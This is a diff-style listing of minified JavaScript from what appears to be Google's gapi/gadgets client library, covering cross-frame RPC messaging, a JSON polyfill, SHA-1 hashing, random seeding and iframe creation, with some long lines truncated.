+_.zb=_.zb||{};_.zb.bl=function(){var a=0,c=0;window.self.innerHeight?(a=window.self.innerWidth,c=window.self.innerHeight):window.document.documentElement&&window.document.documentElement.clientHeight?(a=window.document.documentElement.clientWidth,c=window.document.documentElement.clientHeight):window.document.body&&(a=window.document.body.clientWidth,c=window.document.body.clientHeight);return{width:a,height:c}};
+
+_.Ab=function(a,c){window.getComputedStyle(a,"").getPropertyValue(c).match(/^([0-9]+)/);return(0,window.parseInt)(window.RegExp.$1,10)};_.zb=_.zb||{};
+_.zb.fi=function(){var a=_.zb.bl().height,c=window.document.body,f=window.document.documentElement;if("CSS1Compat"===window.document.compatMode&&f.scrollHeight)return f.scrollHeight!==a?f.scrollHeight:f.offsetHeight;if(0<=window.navigator.userAgent.indexOf("AppleWebKit")){a=0;for(c=[window.document.body];0<c.length;){var g=c.shift(),f=g.childNodes;if("undefined"!==typeof g.style){var h=g.style.overflowY;h||(h=(h=window.document.defaultView.getComputedStyle(g,_.s))?h.overflowY:_.s);if("vi [...]
+"inherit"!=h&&(h=g.style.height,h||(h=(h=window.document.defaultView.getComputedStyle(g,_.s))?h.height:""),0<h.length&&"auto"!=h))continue}for(g=0;g<f.length;g++){h=f[g];if("undefined"!==typeof h.offsetTop&&"undefined"!==typeof h.offsetHeight)var l=h.offsetTop+h.offsetHeight+(0,_.Ab)(h,"margin-bottom"),a=window.Math.max(a,l);c.push(h)}}return a+(0,_.Ab)(window.document.body,"border-bottom")+(0,_.Ab)(window.document.body,"margin-bottom")+(0,_.Ab)(window.document.body,"padding-bottom")}if( [...]
+
+_.Vc=window.gapi&&window.gapi.util||{};
+_.Wc=_.Vc=_.Vc||{};_.Xc={Tj:"bsh",$j:"h"};window.___jsl=window.___jsl||{};_.Wc.Ah={b:function(){return window.___jsl[_.Xc.Tj]},Tk:function(){return window.___jsl[_.Xc.$j]},tj:function(a){window.___jsl[_.Xc.Tj]=a},Ps:function(a){window.___jsl[_.Xc.$j]=a}};
+
+if(window.JSON&&window.JSON.parse&&window.JSON.stringify){_.ob=function(a){return this[a]};_.pb=/___$/;_.Q={parse:function(a){try{return window.JSON.parse(a)}catch(c){return _.u}},stringify:function(a){function c(a){return f.call(this,a,_.ob)}var f=window.JSON.stringify,g=window.Array.prototype.toJSON&&'"[{\\"x\\": 1}]"'===f([{x:1}])?c:f;try{return g(a,function(a,c){return!_.pb.test(a)?c:_.p})}catch(h){return _.s}}}};
+if(!window.JSON||!window.JSON.parse||!window.JSON.stringify)_.Q=function(){function a(a){return 10>a?"0"+a:a}function c(a){var h,l,n;h=/[\"\\\x00-\x1f\x7f-\x9f]/g;switch(typeof a){case "string":return h.test(a)?'"'+a.replace(h,function(a){var c=f[a];if(c)return c;c=a.charCodeAt();return"\\u00"+window.Math.floor(c/16).toString(16)+(c%16).toString(16)})+'"':'"'+a+'"';case "number":return(0,window.isFinite)(a)?(0,window.String)(a):"null";case "boolean":case "null":return(0,window.String)(a) [...]
+h=[];if("number"===typeof a.length&&!a.propertyIsEnumerable("length")){n=a.length;for(l=0;l<n;l+=1)h.push(c(a[l])||"null");return"["+h.join(",")+"]"}for(l in a)!/___$/.test(l)&&a.hasOwnProperty(l)&&"string"===typeof l&&(n=c(a[l]))&&h.push(c(l)+":"+n);return"{"+h.join(",")+"}"}return""}window.Date.prototype.toJSON=function(){return[this.getUTCFullYear(),"-",a(this.getUTCMonth()+1),"-",a(this.getUTCDate()),"T",a(this.getUTCHours()),":",a(this.getUTCMinutes()),":",a(this.getUTCSeconds()),"Z [...]
+var f={"\b":"\\b","\t":"\\t","\n":"\\n","\f":"\\f","\r":"\\r",'"':'\\"',"\\":"\\\\"};return{stringify:c,parse:function(a){return/^[\],:{}\s]*$/.test(a.replace(/\\["\\\/b-u]/g,"@").replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,"]").replace(/(?:^|:|,)(?:\s*\[)+/g,""))?eval("("+a+")"):_.u}}}();
+_.Q.Ik=function(a){var c={};if(a===_.s||a===_.p)return c;for(var f in a)if(a.hasOwnProperty(f)){var g=a[f];_.s===g||_.p===g||(c[f]="string"===typeof g?g:_.Q.stringify(g))}return c};(0,_.P)("gadgets.json.flatten",_.Q.Ik);(0,_.P)("gadgets.json.parse",_.Q.parse);(0,_.P)("gadgets.json.stringify",_.Q.stringify);(0,_.P)("gadgets.json.flatten",_.Q.Ik);(0,_.P)("gadgets.json.parse",_.Q.parse);(0,_.P)("gadgets.json.stringify",_.Q.stringify);
+
+_.R=_.R||{};_.Bb=[];_.R.Zv=function(a){_.Bb.push(a)};_.R.ew=function(){for(var a=0,c=_.Bb.length;a<c;++a)_.Bb[a]()};
+_.wb=function(a){for(var c=0;c<this.length;c++)if(this[c]===a)return c;return-1};_.R=_.R||{};_.xb=_.s;
+_.R.qa=function(a){var c="undefined"===typeof a;if(_.xb!==_.s&&c)return _.xb;var f={};a=a||window.document.location.href;var g=a.indexOf("?"),h=a.indexOf("#");a=(-1===h?a.substr(g+1):[a.substr(g+1,h-g-1),"&",a.substr(h+1)].join("")).split("&");for(var g=window.decodeURIComponent?window.decodeURIComponent:window.unescape,h=0,l=a.length;h<l;++h){var n=a[h].indexOf("=");if(-1!==n){var q=a[h].substring(0,n),n=a[h].substring(n+1),n=n.replace(/\+/g," ");try{f[q]=g(n)}catch(t){}}}c&&(_.xb=f);re [...]
+(0,_.P)("gadgets.util.getUrlParameters",_.R.qa);
+_.Db=window.gadgets&&window.gadgets.config&&window.gadgets.config.get;_.Db&&(0,_.ab)((0,_.Db)());_.Cb={S:function(a,c,f){f&&f((0,_.O)())},get:function(a){return(0,_.O)(a)},update:function(a,c){c&&(0,_.m)("Config replacement is not supported");(0,_.ab)(a)},ga:(0,_.v)()};
+(0,_.P)("gadgets.config.register",_.Cb.S);(0,_.P)("gadgets.config.get",_.Cb.get);(0,_.P)("gadgets.config.init",_.Cb.ga);(0,_.P)("gadgets.config.update",_.Cb.update);
+_.Eb=_.Eb||{};_.Eb.Nm=_.s;_.Eb.fm=_.s;_.Eb.ug=_.s;_.Eb.frameElement=_.s;_.Eb=_.Eb||{};
+if(!_.Eb.Qj){_.Hb=function(a){var c=_.Q.parse(a.data);if(c&&c.f){var f=_.S.be(c.f);(!_.Fb||!("undefined"!==typeof a.origin?a.origin!==f:a.domain!==/^.+:\/\/([^:]+).*/.exec(f)[1]))&&(0,_.Gb)(c,a.origin)}};_.Fb=_.r;_.Eb.Qj={Qk:(0,_.ca)("wpm"),b:(0,_.ca)(_.r),ga:function(a,c){_.Cb.S("rpc",_.s,function(a){if("true"===(0,window.String)((a&&a.rpc||{}).disableForceSecure))_.Fb=_.u});_.Gb=a;_.Ib=c;"undefined"!=typeof window.addEventListener?window.addEventListener("message",_.Hb,_.u):"undefined" [...]
+window.attachEvent("onmessage",_.Hb);window.___jsl=window.___jsl||{};var f=window.___jsl;f.RPMQ=f.RPMQ||[];f.RPMQ.push(_.Hb);(0,_.Ib)("..",_.r);return _.r},vf:function(a){(0,_.Ib)(a,_.r);return _.r},call:function(a,c,f){var g=_.S.be(a),h=_.S.kk(a);g?window.setTimeout(function(){h.postMessage(_.Q.stringify(f),g)},0):".."!=a&&(0,_.sa)("No relay set (used as window.postMessage targetOrigin), cannot send cross-domain message");return _.r}}};
+_.Eb=_.Eb||{};
+if(!_.Eb.Xf){_.Jb=_.Eb;_.Mb=function(a,c){function f(){a.apply({},arguments)}_.Kb[c]=_.Kb[c]||f;return _.Lb+"."+c};_.Tb=function(){if(_.Nb===_.s&&window.document.body&&_.Ob){var a=_.Ob+"?cb="+window.Math.random()+"&origin="+_.Pb+"&jsl=1",c=window.document.createElement("div");c.style.height="1px";c.style.width="1px";a='<object height="1" width="1" id="'+_.Qb+'" type="application/x-shockwave-flash"><param name="allowScriptAccess" value="always"></param><param name="movie" value="'+a+'"></ [...]
+a+'" height="1" width="1"></embed></object>';window.document.body.appendChild(c);c.innerHTML=a;_.Nb=c.firstChild}++_.Rb;_.Sb!==_.s&&(_.Nb!==_.s||50<=_.Rb)?window.clearTimeout(_.Sb):_.Sb=window.setTimeout(_.Tb,100)};_.Yb=function(){_.Ub[".."]||((0,_.Vb)(".."),_.Wb++,50<=_.Wb&&_.Xb!==_.s?(window.clearTimeout(_.Xb),_.Xb=_.s):_.Xb=window.setTimeout(_.Yb,100))};_.$b=function(){if(_.Nb!==_.s&&_.Nb.setup)for(;0<_.Zb.length;){var a=_.Zb.shift(),c=a.gt;_.Nb.setup(a.ve,".."===c?_.S.ph:c,".."===c?" [...]
+_.s&&window.clearTimeout(_.Sb);_.Sb=_.s};_.ac=function(){!_.Ub[".."]&&_.Xb===_.s&&(_.Xb=window.setTimeout(_.Yb,100))};_.bc=function(a,c,f){c=_.S.be(a);var g=_.S.Yd(a);_.Nb["sendMessage_"+(".."===a?_.S.ph:a)+"_"+g+"_"+(".."===a?"INNER":"OUTER")].call(_.Nb,_.Q.stringify(f),c);return _.r};_.gc=function(a,c){var f=_.Q.parse(a),g=f._scr;g?((0,_.ec)(g,_.r),_.Ub[g]=_.r,".."!==g&&(0,_.Vb)(g,_.r)):window.setTimeout(function(){(0,_.fc)(f,c)},0)};_.Vb=function(a,c){var f=_.S.ph,g={};g._scr=c?"..":f [...]
+(0,_.bc)(a,f,g)};_.Qb="___xpcswf";_.Ob=_.s;_.hc=_.u;_.fc=_.s;_.ec=_.s;_.Nb=_.s;_.Zb=[];_.Sb=_.s;_.Rb=0;_.Wb=0;_.Xb=_.s;_.Ub={};_.Pb=window.location.protocol+"//"+window.location.host;window.___jsl=window.___jsl||{};_.ic=window.___jsl._fm={};_.Lb="___jsl._fm";_.Kb=_.ic;_.Cb.S("rpc",_.s,function(a){_.hc&&(_.Ob=a&&a.rpc&&a.rpc.commSwf||"//xpc.googleusercontent.com/gadgets/xpc.swf")});(0,_.Mb)(_.$b,"ready");(0,_.Mb)(_.ac,"setupDone");(0,_.Mb)(_.gc,"receiveMessage");_.Jb.Xf={Qk:(0,_.ca)("flas [...]
+if(!window.gadgets||!window.gadgets.rpc){_.oc=function(a,c){if(!_.jc[a]){var f=_.kc;c||(f=_.lc);_.jc[a]=f;for(var g=_.mc[a]||[],h=0;h<g.length;++h){var l=g[h];l.t=_.nc[a];f.call(a,l.f,l)}_.mc[a]=[]}};_.vc=function(a,c,f,g,h){function l(){_.rc=_.r}if(!_.nc[c]||_.nc[c]!==f)(0,_.sa)("Invalid gadgets.rpc token. "+_.nc[c]+" vs "+f),(0,_.sc)(c,2);h.onunload=function(){_.tc[c]&&!_.rc&&((0,_.sc)(c,1),_.S.qj(c))};_.uc||("undefined"!=typeof window.addEventListener?window.addEventListener("unload", [...]
+typeof window.attachEvent&&window.attachEvent("onunload",l),_.uc=_.r);g=_.Q.parse((0,window.decodeURIComponent)(g))};_.yc=function(a,c){if(a&&"string"===typeof a.s&&"string"===typeof a.f&&a.a instanceof window.Array)if(_.nc[a.f]&&_.nc[a.f]!==a.t&&((0,_.sa)("Invalid gadgets.rpc token. "+_.nc[a.f]+" vs "+a.t),(0,_.sc)(a.f,2)),"__ack"===a.s)window.setTimeout(function(){(0,_.oc)(a.f,_.r)},0);else{a.c&&(a.callback=function(c){_.S.call(a.f,(a.g?"legacy__":"")+"__cb",_.s,a.c,c)});if(c){var f=(0 [...]
+a.origin=c;var g=a.r;if(!g||(0,_.wc)(g)!=f)g=c;a.referer=g}f=(_.xc[a.s]||_.xc[""]).apply(a,a.a);a.c&&"undefined"!==typeof f&&_.S.call(a.f,"__cb",_.s,a.c,f)}};_.wc=function(a){if(!a)return"";a=a.split("#")[0].split("?")[0];a=a.toLowerCase();0==a.indexOf("//")&&(a=window.location.protocol+a);-1==a.indexOf("://")&&(a=window.location.protocol+"//"+a);var c=a.substring(a.indexOf("://")+3),f=c.indexOf("/");-1!=f&&(c=c.substring(0,f));a=a.substring(0,a.indexOf("://"));var f="",g=c.indexOf(":"); [...]
+c.substring(g+1),c=c.substring(0,g);if("http"===a&&"80"!==h||"https"===a&&"443"!==h)f=":"+h}return a+"://"+c+f};_.zc=function(a){if("/"==a.charAt(0)){var c=a.indexOf("|");return{id:0<c?a.substring(1,c):a.substring(1),origin:0<c?a.substring(c+1):_.s}}return _.s};_.Ac=function(a){if("undefined"===typeof a||".."===a)return window.parent;var c=(0,_.zc)(a);if(c)return window.top.frames[c.id];a=(0,window.String)(a);return(c=window.frames[a])?c:(c=window.document.getElementById(a))&&c.contentWi [...]
+_.s};_.Bc=function(a,c){if(_.tc[a]!==_.r){"undefined"===typeof _.tc[a]&&(_.tc[a]=0);var f=(0,_.Ac)(a);(".."===a||f!=_.s)&&_.kc.vf(a,c)===_.r?_.tc[a]=_.r:_.tc[a]!==_.r&&10>_.tc[a]++?window.setTimeout(function(){(0,_.Bc)(a,c)},500):(_.jc[a]=_.lc,_.tc[a]=_.r)}};_.Ec=function(a){(a=_.Cc[a])&&"/"===a.substring(0,1)&&(a="/"===a.substring(1,2)?window.document.location.protocol+a:window.document.location.protocol+"//"+window.document.location.host+a);return a};_.Gc=function(a,c,f){c&&!/http(s)?: [...]
+(0==c.indexOf("//")?c=window.location.protocol+c:"/"==c.charAt(0)?c=window.location.protocol+"//"+window.location.host+c:-1==c.indexOf("://")&&(c=window.location.protocol+"//"+c));_.Cc[a]=c;"undefined"!==typeof f&&(_.Fc[a]=!!f)};_.Hc=function(a,c){c=c||"";_.nc[a]=(0,window.String)(c);(0,_.Bc)(a,c)};_.Kc=function(a){a=(a.passReferrer||"").split(":",2);_.Ic=a[0]||"none";_.Jc=a[1]||"origin"};_.Lc=function(a){"true"===(0,window.String)(a.useLegacyProtocol)&&(_.kc=_.Eb.ug||_.lc,_.kc.ga(_.yc,_ [...]
+function(a,c,f){if(".."===a){var g=f||_.Mc.rpctoken||_.Mc.ifpctok||"";a=function(a){a=a&&a.rpc||{};(0,_.Kc)(a);var f=a.parentRelayUrl||"",f=(0,_.wc)(_.Mc.parent||c)+f;(0,_.Gc)("..",f,"true"===(0,window.String)(a.useLegacyProtocol));(0,_.Lc)(a);(0,_.Hc)("..",g)};!_.Mc.parent&&c?a({}):_.Cb.S("rpc",_.s,a)}else a:{var h=_.s;if("/"!=a.charAt(0)){if(!_.R)break a;(h=window.document.getElementById(a))||(0,_.m)((0,window.Error)("h`"+a))}var h=h&&h.src,l=c||_.S.ma(h);(0,_.Gc)(a,l);h=_.R.qa(h);(0,_ [...]
+h.rpctoken)}};_.xc={};_.Cc={};_.Fc={};_.nc={};_.Oc=0;_.Pc={};_.tc={};_.Mc={};_.jc={};_.mc={};_.Ic=_.s;_.Jc=_.s;_.Qc=window.top!==window.self;_.Rc=window.name;_.sc=(0,_.v)();_.Sc=window.console;_.Tc=_.Sc&&_.Sc.log&&function(a){_.Sc.log(a)}||(0,_.v)();_.Uc=function(a){return function(){(0,_.Tc)(a+": call ignored")}};_.lc={getCode:(0,_.ca)("noop"),isParentVerifiable:(0,_.ca)(_.r),init:(0,_.Uc)("init"),setup:(0,_.Uc)("setup"),call:(0,_.Uc)("call")};_.R&&(_.Mc=_.R.qa());_.rc=_.u;_.uc=_.u;_.kc [...]
+_.Mc.rpctx)return _.Eb.Xf;if("rmr"==_.Mc.rpctx)return _.Eb.Nm;var a="function"===typeof window.postMessage?_.Eb.Qj:"object"===typeof window.postMessage?_.Eb.Qj:window.ActiveXObject?_.Eb.Xf?_.Eb.Xf:_.Eb.fm?_.Eb.fm:_.Eb.ug:0<window.navigator.userAgent.indexOf("WebKit")?_.Eb.Nm:"Gecko"===window.navigator.product?_.Eb.frameElement:_.Eb.ug;a||(a=_.lc);return a}();_.xc[""]=function(){(0,_.Tc)("Unknown RPC service: "+this.s)};_.xc.__cb=function(a,c){var f=_.Pc[a];f&&(delete _.Pc[a],f.call(this, [...]
+{Ja:function(a){"function"===typeof a.Bs&&(_.sc=a.Bs)},S:function(a,c){("__cb"===a||"__ack"===a)&&(0,_.m)((0,window.Error)("i"));""===a&&(0,_.m)((0,window.Error)("j"));_.xc[a]=c},Md:function(a){("__cb"===a||"__ack"===a)&&(0,_.m)((0,window.Error)("k"));""===a&&(0,_.m)((0,window.Error)("l"));delete _.xc[a]},Em:function(a){_.xc[""]=a},on:function(){delete _.xc[""]},Lk:(0,_.v)(),call:function(a,c,f,g){a=a||"..";var h="..";".."===a?h=_.Rc:"/"==a.charAt(0)&&(h=_.S.ma(window.location.href),h="/ [...]
+"|"+h:""));++_.Oc;f&&(_.Pc[_.Oc]=f);var l={s:c,f:h,c:f?_.Oc:0,a:window.Array.prototype.slice.call(arguments,3),t:_.nc[a],l:!!_.Fc[a]},n;a:if("bidir"===_.Ic||"c2p"===_.Ic&&".."===a||"p2c"===_.Ic&&".."!==a){n=window.location.href;var q="?";if("query"===_.Jc)q="#";else if("hash"===_.Jc)break a;q=n.lastIndexOf(q);q=-1===q?n.length:q;n=n.substring(0,q)}else n=_.s;n&&(l.r=n);".."!==a&&(0,_.zc)(a)==_.s&&!window.document.getElementById(a)||(n=_.jc[a],!n&&(0,_.zc)(a)!==_.s&&(n=_.kc),0===c.indexOf [...]
+(n=_.kc,l.s=c.substring(8),l.c=l.c?l.c:_.Oc),l.g=_.r,l.r=h,n?(_.Fc[a]&&(n=_.Eb.ug),n.call(a,h,l)===_.u&&(_.jc[a]=_.lc,_.kc.call(a,h,l))):_.mc[a]?_.mc[a].push(l):_.mc[a]=[l])},Wk:_.Ec,$g:_.Gc,Zg:_.Hc,wf:_.Nc,Yd:function(a){return _.nc[a]},qj:function(a){delete _.Cc[a];delete _.Fc[a];delete _.nc[a];delete _.tc[a];delete _.jc[a]},Vk:function(){return _.kc.Qk()},Cm:function(a,c){4<a.length?_.kc.fp(a,_.yc):_.vc.apply(_.s,a.concat(c))},Dm:function(a){a.a=window.Array.prototype.slice.call(a.a); [...]
+0)},ma:_.wc,be:function(a){var c=_.s,c=(0,_.Ec)(a);c||(c=(c=(0,_.zc)(a))?c.origin:".."==a?_.Mc.parent:window.document.getElementById(a).src);return(0,_.wc)(c)},ga:function(){_.kc.ga(_.yc,_.oc)===_.u&&(_.kc=_.lc);_.Qc?(0,_.Nc)(".."):_.Cb.S("rpc",_.s,function(a){a=a.rpc||{};(0,_.Kc)(a);(0,_.Lc)(a)})},kk:_.Ac,ep:_.zc,b:"__ack",ph:_.Rc||"..",j:0,i:1,d:2};_.S.ga()}else if("undefined"==typeof _.S||!_.S)_.S=window.gadgets.rpc,_.S.Ja=_.S.config,_.S.S=_.S.register,_.S.Md=_.S.unregister,_.S.Em=_.S [...]
+_.S.on=_.S.unregisterDefault,_.S.Lk=_.S.forceParentVerifiable,_.S.call=_.S.call,_.S.Wk=_.S.getRelayUrl,_.S.$g=_.S.setRelayUrl,_.S.Zg=_.S.setAuthToken,_.S.wf=_.S.setupReceiver,_.S.Yd=_.S.getAuthToken,_.S.qj=_.S.removeReceiver,_.S.Vk=_.S.getRelayChannel,_.S.Cm=_.S.receive,_.S.Dm=_.S.receiveSameDomain,_.S.ma=_.S.getOrigin,_.S.be=_.S.getTargetOrigin,_.S.kk=_.S._getTargetWin,_.S.ep=_.S._parseSiblingId;
+(0,_.P)("gadgets.rpc.config",_.S.Ja);(0,_.P)("gadgets.rpc.register",_.S.S);(0,_.P)("gadgets.rpc.unregister",_.S.Md);(0,_.P)("gadgets.rpc.registerDefault",_.S.Em);(0,_.P)("gadgets.rpc.unregisterDefault",_.S.on);(0,_.P)("gadgets.rpc.forceParentVerifiable",_.S.Lk);(0,_.P)("gadgets.rpc.call",_.S.call);(0,_.P)("gadgets.rpc.getRelayUrl",_.S.Wk);(0,_.P)("gadgets.rpc.setRelayUrl",_.S.$g);(0,_.P)("gadgets.rpc.setAuthToken",_.S.Zg);(0,_.P)("gadgets.rpc.setupReceiver",_.S.wf);
+(0,_.P)("gadgets.rpc.getAuthToken",_.S.Yd);(0,_.P)("gadgets.rpc.removeReceiver",_.S.qj);(0,_.P)("gadgets.rpc.getRelayChannel",_.S.Vk);(0,_.P)("gadgets.rpc.receive",_.S.Cm);(0,_.P)("gadgets.rpc.receiveSameDomain",_.S.Dm);(0,_.P)("gadgets.rpc.getOrigin",_.S.ma);(0,_.P)("gadgets.rpc.getTargetOrigin",_.S.be);
+
+_.qb=function(a,c){if(!(a<_.rb)&&_._console$$inline_314)if(2===a&&_._console$$inline_314.warn)_._console$$inline_314.warn(c);else if(3===a&&_._console$$inline_314.error)try{_._console$$inline_314.error(c)}catch(f){}else _._console$$inline_314.log&&_._console$$inline_314.log(c)};_.sb=function(a){(0,_.qb)(1,a)};_.tb=function(a){(0,_.qb)(2,a)};_.sa=function(a){(0,_.qb)(3,a)};_.sb.INFO=1;_.sb.WARNING=2;_.sb.NONE=4;_.rb=1; _._console$$inline_314=window.console?window.console:window.opera?wind [...]
+
+_.R=_.R||{};_.R.Fe=function(a,c,f,g){"undefined"!=typeof a.addEventListener?a.addEventListener(c,f,g):"undefined"!=typeof a.attachEvent?a.attachEvent("on"+c,f):(0,_.tb)("cannot attachBrowserEvent: "+c)};_.R.ks=function(a,c,f,g){a.removeEventListener?a.removeEventListener(c,f,g):a.detachEvent?a.detachEvent("on"+c,f):(0,_.tb)("cannot removeBrowserEvent: "+c)};
+
+_.Zc=function(){function a(){h[0]=1732584193;h[1]=4023233417;h[2]=2562383102;h[3]=271733878;h[4]=3285377520;x=w=0}function c(a){for(var c=n,f=0;64>f;f+=4)c[f/4]=a[f]<<24|a[f+1]<<16|a[f+2]<<8|a[f+3];for(f=16;80>f;f++)c[f]=((c[f-3]^c[f-8]^c[f-14]^c[f-16])<<1|(c[f-3]^c[f-8]^c[f-14]^c[f-16])>>>31)&4294967295;a=h[0];for(var g=h[1],l=h[2],q=h[3],t=h[4],w,x,f=0;80>f;f++)40>f?20>f?(w=q^g&(l^q),x=1518500249):(w=g^l^q,x=1859775393):60>f?(w=g&l|q&(g|l),x=2400959708):(w=g^l^q,x=3395469782),w=((a<<5| [...]
+w+t+x+c[f]&4294967295,t=q,q=l,l=(g<<30|g>>>2)&4294967295,g=a,a=w;h[0]=h[0]+a&4294967295;h[1]=h[1]+g&4294967295;h[2]=h[2]+l&4294967295;h[3]=h[3]+q&4294967295;h[4]=h[4]+t&4294967295}function f(a,f){if("string"===typeof a){a=(0,window.unescape)((0,window.encodeURIComponent)(a));for(var g=[],h=0,n=a.length;h<n;++h)g.push(a.charCodeAt(h));a=g}f||(f=a.length);g=0;if(0==w)for(;g+64<f;)c(a.slice(g,g+64)),g+=64,x+=64;for(;g<f;)if(l[w++]=a[g++],x++,64==w){w=0;for(c(l);g+64<f;)c(a.slice(g,g+64)),g+ [...]
+function g(){var a=[],g=8*x;56>w?f(q,56-w):f(q,64-(w-56));for(var n=63;56<=n;n--)l[n]=g&255,g>>>=8;c(l);for(n=g=0;5>n;n++)for(var t=24;0<=t;t-=8)a[g++]=h[n]>>t&255;return a}for(var h=[],l=[],n=[],q=[128],t=1;64>t;++t)q[t]=0;var w,x;a();return{reset:a,update:f,Dk:g,Rf:function(){for(var a=g(),c="",f=0;f<a.length;f++)c+="0123456789ABCDEF".charAt(window.Math.floor(a[f]/16))+"0123456789ABCDEF".charAt(a[f]%16);return c}}};
+
+_.$c=function(a){if("complete"===_.eb.readyState)a();else{var c=_.u,f=function(){if(!c)return c=_.r,a.apply(this,arguments)};_.db.addEventListener?(_.db.addEventListener("load",f,_.u),_.db.addEventListener("DOMContentLoaded",f,_.u)):_.db.attachEvent&&(_.db.attachEvent("onreadystatechange",function(){"complete"===_.eb.readyState&&f.apply(this,arguments)}),_.db.attachEvent("onload",f))}};_.bd=function(a){var c=(0,_.Zc)();c.update(a);return c.Rf()};_.cd=window.crypto;
+if(_.cd&&"function"==typeof _.cd.getRandomValues)_.ad=function(){var a=new window.Uint32Array(1);_.cd.getRandomValues(a);return(0,window.Number)("0."+a[0])};else{_.dd=(0,_.O)("random/maxObserveMousemove");_.dd==_.s&&(_.dd=-1);_.ed=0;_.fd=window.Math.random();_.gd=1;_.hd=1E6*(window.screen.width*window.screen.width+window.screen.height);_.id=function(a){a=a||window.event;var c=a.screenX+a.clientX<<16,c=c+(a.screenY+a.clientY),c=c*((new window.Date).getTime()%1E6);_.gd=_.gd*c%_.hd;0<_.dd&& [...]
+_.R.ks(window,"mousemove",_.id,_.u)};0!=_.dd&&_.R.Fe(window,"mousemove",_.id,_.u);_.jd=(0,_.bd)(window.document.cookie+"|"+window.document.location+"|"+(new window.Date).getTime()+"|"+_.fd);_.ad=function(){var a=_.gd,a=a+(0,window.parseInt)(_.jd.substr(0,20),16);_.jd=(0,_.bd)(_.jd);return a/(_.hd+window.Math.pow(16,20))}};
+(0,_.P)("shindig.random",_.ad);
+_.Yc=window.iframer=window.iframer||{};_.U=window.iframes=window.iframes||{};
+_.U.tp=function(a,c,f){var g=window.Array.prototype.slice.call(arguments);_.U.Uk(function(a){a.sameOrigin&&(g.unshift("/"+a.claimedOpenerId+"|"+window.location.protocol+"//"+window.location.host),_.S.call.apply(_.S,g))})};_.U.hs=function(a,c){_.S.S(a,c)};
+
+_.kd=function(a){var c=(0,_.O)("googleapis.config/sessionIndex");c==_.s&&(c=window.__X_GOOG_AUTHUSER);if(c==_.s){var f=window.google;f&&(c=f.authuser)}c==_.s&&(a==_.s&&(a=window.location.href),c=a?(0,_.Fa)(a,"authuser")||_.s:_.s);return c==_.s?_.s:(0,window.String)(c)};
+_.ld=function(a,c,f){a=(0,window.String)(a);if(((0,_.Fa)(a,"authuser")||_.s)!=_.s||((0,_.Fa)(a,"hd")||_.s)!=_.s)return a;c=(0,_.kd)(c);if(f){var g=a,h=g.match(/^((https?:)?\/\/[^\/?#]*)?(\/[^\/?#]+)\/[0-9]+([\/][^?#]*)([?#].*)?$/);if(h&&h[0]){var l=h[1],n=h[4],q=h[5];h[3]=="/"+f&&(g=(l||"")+(n||"/")+(q||""))}if((h=g.match(/^(((https?:)?\/\/[^\/?#]*)([\/][^?#]*)?|([\/][^?#]*))([?#].*)?$/))&&h[0])return l=h[2],a=h[4]||h[5],q=h[6],c!=_.s&&(g=(l||"")+"/"+f+"/"+(0,window.encodeURIComponent)(c [...]
+(q||"")),g}f=c==_.s?(0,window.encodeURIComponent)("authuser")+"=0":c.match(/^([-a-z0-9]+[.])+[-a-z0-9]+$/)?[(0,window.encodeURIComponent)("authuser")+"=",(0,window.encodeURIComponent)((0,window.String)(c)),"&"+(0,window.encodeURIComponent)("hd")+"=",(0,window.encodeURIComponent)(c)].join(""):["authuser=",(0,window.encodeURIComponent)(c)].join("");a=a.split("#");c=a[0].indexOf("?");0>c?a[0]=[a[0],"?",f].join(""):(g=[a[0]],c<a[0].length-1&&g.push("&"),g.push(f),a[0]=g.join(""));return g=a. [...]
+_.md=_.ld;
+_.nd=function(){var a=(0,_.Ta)();if(!a){a=(0,_.N)();(0,_.Ua)(a);var c=(0,_.N)();a.e=function(a){var g=c[a];g&&(delete c[a],g())};a.a=function(a,g){c[a]=g};a.r=function(a){delete c[a]}}return a};
+_.od=function(a,c,f,g,h){var l,n;var q=f.onload;(0,_.ua)(q)?((0,_.nd)().a(g,q),n=q):n=_.s;n?((0,_.Ea)(/^\w+$/.test(g),"Unsupported id - "+g),(0,_.nd)(),q='onload="window.___jsl.onl.e("'+g+'")"'):q="";try{l=a.createElement('<iframe frameborder="'+(0,_.va)(f.frameborder)+'" scrolling="'+(0,_.va)(f.scrolling)+'" '+q+' name="'+(0,_.va)(f.name)+'"/>')}catch(t){l=a.createElement("iframe"),n&&(l.onload=function(){l.onload=_.s;n.call(this)},(0,_.nd)().r(g))}for(var w in f)a=f[w],"style"= [...]
+typeof a?(0,_.Da)(a,l.style):_.pd[w]||l.setAttribute(w,(0,window.String)(a));(!h||!h.dontclear)&&(0,_.Na)(c);c.appendChild(l);l=c.lastChild;f.allowtransparency&&(l.allowTransparency=_.r);return l};_.qd=function(){return _.s};
+_.rd=function(a,c,f){var g=f||{};f=g.attributes||{};(0,_.Ea)(!g.allowPost||!f.onload,"onload is not supported by post iframe");g.rpctoken||(g.rpctoken=(0,_.qd)());f=c.ownerDocument||_.eb;var h,l=0;do h=g.id||["I",_.sd++,"_",(new window.Date).getTime()].join("");while(f.getElementById(h)&&5>++l);(0,_.Ea)(5>l,"Error creating iframe id");var n,q=f.location.href,l=(0,_.N)(),t=(0,_.Qa)(q);t&&(l._bsh=t);(q=(0,_.Oa)(q))&&(l.jsh=q);q=(0,_.N)();q.id=h;q.parent=f.location.protocol+"//"+f.location. [...]
+(0,_.Fa)(f.location.href,"id",""),w=(0,_.Fa)(f.location.href,"pfname","");(t=t?w+"/"+t:"")&&(q.pfname=t);g.rpctoken&&(q.rpctoken=g.rpctoken);g.hintInFragment?(0,_.Da)(l,q):n=l;n=(0,_.La)(a,n,q);a=(0,_.N)();(0,_.Da)(_.td,a);(0,_.Da)(g.attributes,a);a.name=a.id=h;a.src=n;if((g||{}).allowPost&&2E3<n.length){n=(0,_.Ga)(n);a.src="";a["data-postorigin"]=n.Ac;a=(0,_.od)(f,c,a,h);var x;-1!=window.navigator.userAgent.indexOf("WebKit")&&(x=a.contentWindow.document,x.open(),l=x.createElement("div") [...]
+"_inner",q.name=t,q.src="",q.style="display:none",(0,_.od)(f,l,q,t,g));g=(0,_.Ia)(n.pb[0]);n.pb=[];l=(0,_.Ja)(n);n=f.createElement("form");n.action=l;n.method="POST";n.target=h;n.style.display="none";for(h=0;h<g.length;h++)l=f.createElement("input"),l.type="hidden",l.name=g[h][0],l.value=g[h][1],n.appendChild(l);c.appendChild(n);n.submit();n.parentNode.removeChild(n);x&&x.close();c=a}else c=(0,_.od)(f,c,a,h,g);return c};
